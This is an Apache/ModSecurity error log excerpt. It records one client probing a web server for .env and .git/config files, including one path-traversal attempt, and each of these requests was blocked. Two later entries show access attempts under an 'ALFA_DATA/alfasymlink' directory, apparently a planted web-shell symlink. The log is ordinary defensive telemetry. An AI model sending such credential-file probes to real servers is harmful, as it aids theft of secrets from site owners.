[Tue Oct 27 04:18:58.685827 2026] [security2:error] [pid 3201654:tid 3201654] [client 45.148.10.5:9760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.testing"] [unique_id "auBecu7solhow6XeMToV4QAAABU"]
[Tue Oct 27 04:18:58.686059 2026] [security2:error] [pid 3201654:tid 3201654] [client 45.148.10.5:9760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.testing"] [unique_id "auBecu7solhow6XeMToV4QAAABU"]
[Tue Oct 27 04:18:58.687056 2026] [security2:error] [pid 3201654:tid 3201654] [client 45.148.10.5:9760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBecu7solhow6XeMToV4QAAABU"]
[Tue Oct 27 04:18:58.852671 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.5:9770] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/dev/.git/config"] [unique_id "auBeckmqTSs7laY6jMThWAAAABc"]
[Tue Oct 27 04:18:58.852953 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.5:9770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dev/.git/config"] [unique_id "auBeckmqTSs7laY6jMThWAAAABc"]
[Tue Oct 27 04:18:58.853839 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.5:9770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBeckmqTSs7laY6jMThWAAAABc"]
[Tue Oct 27 04:18:59.009899 2026] [security2:error] [pid 3201655:tid 3201655] [client 45.148.10.5:9772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/prod/.env"] [unique_id "auBec2BUeABT7S80KTVExAAAABY"]
[Tue Oct 27 04:18:59.010151 2026] [security2:error] [pid 3201655:tid 3201655] [client 45.148.10.5:9772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/prod/.env"] [unique_id "auBec2BUeABT7S80KTVExAAAABY"]
[Tue Oct 27 04:18:59.011004 2026] [security2:error] [pid 3201655:tid 3201655] [client 45.148.10.5:9772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBec2BUeABT7S80KTVExAAAABY"]
[Tue Oct 27 04:18:59.165379 2026] [security2:error] [pid 3201653:tid 3201653] [client 45.148.10.5:9782] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /settings/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/settings/.env"] [unique_id "auBec_NweTK95FG6k465zgAAABQ"]
[Tue Oct 27 04:18:59.165628 2026] [security2:error] [pid 3201653:tid 3201653] [client 45.148.10.5:9782] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/settings/.env"] [unique_id "auBec_NweTK95FG6k465zgAAABQ"]
[Tue Oct 27 04:18:59.166418 2026] [security2:error] [pid 3201653:tid 3201653] [client 45.148.10.5:9782] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBec_NweTK95FG6k465zgAAABQ"]
[Tue Oct 27 04:18:59.321362 2026] [security2:error] [pid 3194328:tid 3194328] [client 45.148.10.5:9786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auBec8sFEw8TBOSK6W-mrwAAAAk"]
[Tue Oct 27 04:18:59.321730 2026] [security2:error] [pid 3194328:tid 3194328] [client 45.148.10.5:9786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auBec8sFEw8TBOSK6W-mrwAAAAk"]
[Tue Oct 27 04:18:59.323336 2026] [security2:error] [pid 3194328:tid 3194328] [client 45.148.10.5:9786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBec8sFEw8TBOSK6W-mrwAAAAk"]
[Tue Oct 27 04:18:59.497938 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.148.10.5:9790] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "auBec9OTO42xOmZCRV02rgAAAAE"]
[Tue Oct 27 04:18:59.498001 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.148.10.5:9790] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "auBec9OTO42xOmZCRV02rgAAAAE"]
[Tue Oct 27 04:18:59.498060 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.148.10.5:9790] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "auBec9OTO42xOmZCRV02rgAAAAE"]
[Tue Oct 27 04:18:59.498322 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.148.10.5:9790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/static../.git/config"] [unique_id "auBec9OTO42xOmZCRV02rgAAAAE"]
[Tue Oct 27 04:18:59.499228 2026] [security2:error] [pid 3184471:tid 3184471] [client 45.148.10.5:9790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBec9OTO42xOmZCRV02rgAAAAE"]
[Tue Oct 27 04:18:59.655208 2026] [security2:error] [pid 3194344:tid 3194344] [client 45.148.10.5:9802] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "auBeczs6QI_2LyqMu-svWQAAABA"]
[Tue Oct 27 04:18:59.655547 2026] [security2:error] [pid 3194344:tid 3194344] [client 45.148.10.5:9802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "auBeczs6QI_2LyqMu-svWQAAABA"]
[Tue Oct 27 04:18:59.656920 2026] [security2:error] [pid 3194344:tid 3194344] [client 45.148.10.5:9802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBeczs6QI_2LyqMu-svWQAAABA"]
[Tue Oct 27 04:18:59.814825 2026] [security2:error] [pid 3184575:tid 3184575] [client 45.148.10.5:9814] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/public/.git/config"] [unique_id "auBec3Csn1NVv0VfikkGdwAAAAQ"]
[Tue Oct 27 04:18:59.815044 2026] [security2:error] [pid 3184575:tid 3184575] [client 45.148.10.5:9814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/public/.git/config"] [unique_id "auBec3Csn1NVv0VfikkGdwAAAAQ"]
[Tue Oct 27 04:18:59.815795 2026] [security2:error] [pid 3184575:tid 3184575] [client 45.148.10.5:9814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBec3Csn1NVv0VfikkGdwAAAAQ"]
[Tue Oct 27 04:18:59.971892 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.148.10.5:9830] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/www/.git/config"] [unique_id "auBeczACgwKulg8gg2NrsAAAAAg"]
[Tue Oct 27 04:18:59.972195 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.148.10.5:9830] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/www/.git/config"] [unique_id "auBeczACgwKulg8gg2NrsAAAAAg"]
[Tue Oct 27 04:18:59.972979 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.148.10.5:9830] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBeczACgwKulg8gg2NrsAAAAAg"]
[Tue Oct 27 04:19:00.129830 2026] [security2:error] [pid 3201654:tid 3201654] [client 45.148.10.5:9840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "auBedO7solhow6XeMToV4gAAABU"]
[Tue Oct 27 04:19:00.130068 2026] [security2:error] [pid 3201654:tid 3201654] [client 45.148.10.5:9840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "auBedO7solhow6XeMToV4gAAABU"]
[Tue Oct 27 04:19:00.130825 2026] [security2:error] [pid 3201654:tid 3201654] [client 45.148.10.5:9840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBedO7solhow6XeMToV4gAAABU"]
[Tue Oct 27 04:19:00.285243 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.5:9846] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app/.git/config"] [unique_id "auBedEmqTSs7laY6jMThWQAAABc"]
[Tue Oct 27 04:19:00.285515 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.5:9846] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/.git/config"] [unique_id "auBedEmqTSs7laY6jMThWQAAABc"]
[Tue Oct 27 04:19:00.286314 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.5:9846] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBedEmqTSs7laY6jMThWQAAABc"]
[Tue Oct 27 04:19:00.442732 2026] [security2:error] [pid 3201655:tid 3201655] [client 45.148.10.5:9856] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.preprod"] [unique_id "auBedGBUeABT7S80KTVExQAAABY"]
[Tue Oct 27 04:19:00.442970 2026] [security2:error] [pid 3201655:tid 3201655] [client 45.148.10.5:9856] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.preprod"] [unique_id "auBedGBUeABT7S80KTVExQAAABY"]
[Tue Oct 27 04:19:00.443817 2026] [security2:error] [pid 3201655:tid 3201655] [client 45.148.10.5:9856] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBedGBUeABT7S80KTVExQAAABY"]
[Tue Oct 27 04:19:07.880098 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.166.126.132:62477] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:15.922497 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.210.152.179:64127] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:20.051970 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.226.89.140:35896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:23.781997 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.3.127.170:64389] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:26.891359 2026] [core:error] [pid 3201654:tid 3201654] (13)Permission denied: [client 185.191.171.17:48292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/usersize
[Tue Oct 27 04:19:27.795209 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.145.82.217:55657] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:19:35.913048 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 54.147.80.137:25165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory2/node0/memory0/subsystem/drivers_probe
